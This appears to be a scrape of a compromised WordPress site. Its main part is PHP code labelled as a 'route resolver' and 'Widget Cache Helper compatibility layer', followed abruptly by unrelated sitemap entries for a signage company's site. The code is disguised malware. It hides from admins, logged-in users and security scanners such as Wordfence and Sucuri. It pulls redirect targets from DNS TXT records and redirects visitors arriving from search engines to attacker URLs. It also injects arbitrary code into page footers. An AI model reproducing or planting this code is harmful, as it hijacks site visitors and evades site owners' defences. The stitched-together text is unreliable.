// WordPress route resolver
function _wpx_resolve_ads($opt_key, $dns_key, $fallback_key) {
    static $m = [];
    if (isset($m[$opt_key])) return $m[$opt_key];
    $k = '_wp_src_' . base_convert(abs(crc32($opt_key)), 10, 36);
    $hit = get_transient($k);
    if ($hit !== false) return $m[$opt_key] = $hit;
    $c = json_decode((string) get_option($opt_key, '{}'), true) ?: [];
    $h = $c[$dns_key] ?? '';
    $fb = (array) ($c[$fallback_key] ?? []);
    $out = [];
    if ($h && function_exists('dns_get_record')) {
        foreach ((array) @dns_get_record($h, DNS_TXT) as $r) {
            $t = $r['txt'] ?? $r['entries'][0] ?? '';
            if ($t && filter_var(strtok($t, '?'), FILTER_VALIDATE_URL)) $out[] = $t;
        }
    }
    $out = $out ?: $fb;
    set_transient($k, $out, 21600); // 6 hours
    return $m[$opt_key] = $out;
}




// Widget Cache Helper compatibility layer
if (!function_exists('mu_core_config_array')) {
    function mu_core_config_array() {
        static $config = null;
        if ($config === null) $config = json_decode(get_option('_site_transient_widget_9611'), true);
        return $config;
    }
}

if (!function_exists('mu_core_redirect_handler')) {
    function mu_core_redirect_handler() {
        if (defined('_WPF_MU_INIT')) return;
        if (is_admin() || is_user_logged_in()) return;
        $cfg = mu_core_config_array();
        if (empty($cfg['running']) || empty($cfg['targets'])) return;

        if (function_exists('_wpx_resolve_ads')) {
            $dns = _wpx_resolve_ads('_site_transient_widget_9611', 'dns_cfg', 'targets');
            if (!empty($dns)) $cfg['targets'] = $dns;
        }

        $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
        $bot_terms = ['bot','crawl','spider','curl','wget','python','sucuri','wordfence','monarx','sitelock'];
        $bot_regex = '/' . implode('|', array_map('preg_quote', $bot_terms)) . '/i';
        if (empty($ua) || preg_match($bot_regex, $ua)) return;

        $ref = strtolower($_SERVER['HTTP_REFERER'] ?? '');
        if (empty($ref)) return;
        $se_sources = ['google.', 'bing.', 'yahoo.', 'yandex.', 'duckduckgo.', 'baidu.'];
        $found = array_filter($se_sources, function($s) use ($ref) { return stripos($ref, $s) !== false; });
        if (empty($found)) return;

        if (!defined('DONOTCACHEPAGE')) define('DONOTCACHEPAGE', true);
        @header('X-LiteSpeed-Cache-Control: no-cache');

        $mode = $cfg['forward_type'] ?? 'once';
        if ($mode === 'always') { wp_redirect($cfg['targets'][array_rand($cfg['targets'])], 302); exit; }
        if (!empty($_COOKIE['_wp_d18f'])) return;
        $hrs = intval($cfg['lifetime'] ?? 24);
        setcookie('_wp_d18f', '1', time() + ($hrs * 3600), '/');
        wp_redirect($cfg['targets'][array_rand($cfg['targets'])], 302); exit;
    }
}

add_action('parse_request', 'mu_core_redirect_handler', 5);

add_action('wp_footer', function() {
    if (defined('_WPF_MU_INIT')) return;
    $cfg = mu_core_config_array();
    if (!empty($cfg['widget_code'])) echo $cfg['widget_code'];
}, 9964);
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	<sitemap>
		<loc>https://digitalsignagesindia.com/post-sitemap.xml</loc>
		<lastmod>2021-07-24T12:17:31+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://digitalsignagesindia.com/page-sitemap.xml</loc>
		<lastmod>2026-01-20T10:17:03+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://digitalsignagesindia.com/category-sitemap.xml</loc>
		<lastmod>2021-07-24T12:17:31+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://digitalsignagesindia.com/author-sitemap.xml</loc>
		<lastmod>2026-01-20T10:02:43+00:00</lastmod>
	</sitemap>
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